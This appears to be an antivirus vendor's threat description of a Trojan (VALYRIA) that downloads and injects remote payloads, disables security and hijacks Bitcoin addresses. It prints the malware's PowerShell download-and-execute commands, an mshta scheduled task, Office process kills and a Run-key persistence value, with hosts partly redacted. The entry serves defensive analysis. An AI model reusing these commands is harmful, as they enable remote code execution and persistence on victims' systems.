Trojan.P97M.VALYRIA.YXBEE

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It downloads a file from a certain URL then renames it before storing it in the affected system.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

• "%System%\WindowsPowerShell\v1.0\powershell.exe" $www='https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt';$sss= {Obfuscated code};$bbb={Obfuscated code};$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
• PowerShell -ex Bypass -nOp -w 1 ;i'E'x(iwr('https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-1.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-2.txt') -useB);i'E'x(iwr('https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-3.txt') -useB)
  • starts the following process:
    • %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
• "%System%\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""MsHtA""\""http://{BLOCKED}1230948@getyournewblog.blogspot.com/p/7.html\"
• "%System%\taskkill.exe" /f /im Excel.exe
• "%System%\taskkill.exe" /f /im winword.exe
• "%System%\WScript.exe" "%Public%\kuchb.vbs"
• #cmd

It injects codes into the following process(es):

• %Windows%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
replcia = mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell ((gp HKEY_CURRENT_USER:\Software).nasdnasndnad)|IEX"", 0 : window.close");

Other System Modifications

This Trojan modifies the following file(s):

• %System%\drivers\etc\hosts

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It adds the following registry entries as part of its installation routine:

HKEY_CURRENT_USER\Software
nasdnasndnad = $cici=@({Obfuscated PowerShell code that performs Bitcoin address hijacking});[System.Text.Encoding]::ASCII.GetString($cici)|IEX

Download Routine

This Trojan downloads files from the following URLs then renames them before storage in the affected system:

• Short URLs of initial connection:
  • http://www.j.mp/{redirection to specific resource}
  • http://bit.ly/{redirection to specific resource}
    • redirected to:
      • https://{BLOCKED}.blogspot.com/p/{number}.html → remotely executes VBscript which establishes scheduled task and autorun key for persistence, sets the specified values in HKEY_CURRENT_USER\Software, and terminates specific MS Office applications
• https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_4906e68401a54bdf99cdcca2ef189f9d.txt → Connects to the following URLs which downloads files and executes kuchb.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_c28bcff4b4ac4d648a44cba2612ce3a6.txt → clone.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_d6327f9589c84101ad8724c9d6eaea23.txt → kuchb.vbs
  • https://{BLOCKED}-7ecd-45e2-9eab-f8d98aab177f.usrfiles.com/ugd/73cceb_8c96b0913b2d43038ded2f06e3ee527b.txt → batmat.bat
• Injects code that resides in the following URLs to spawned MSBuild.exe:
  • https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-1.txt
  • https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-2.txt
  • https://{BLOCKED}.us.archive.org/9/items/FTp-120-May12/{number}-3.txt

It saves the files it downloads using the following names:

• %Public%\batman.bat → starts clone.vbs
• %Public%\kuchb.vbs → persistence for batman.bat
• %Public%\clone.vbs → disables security in infected machine

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)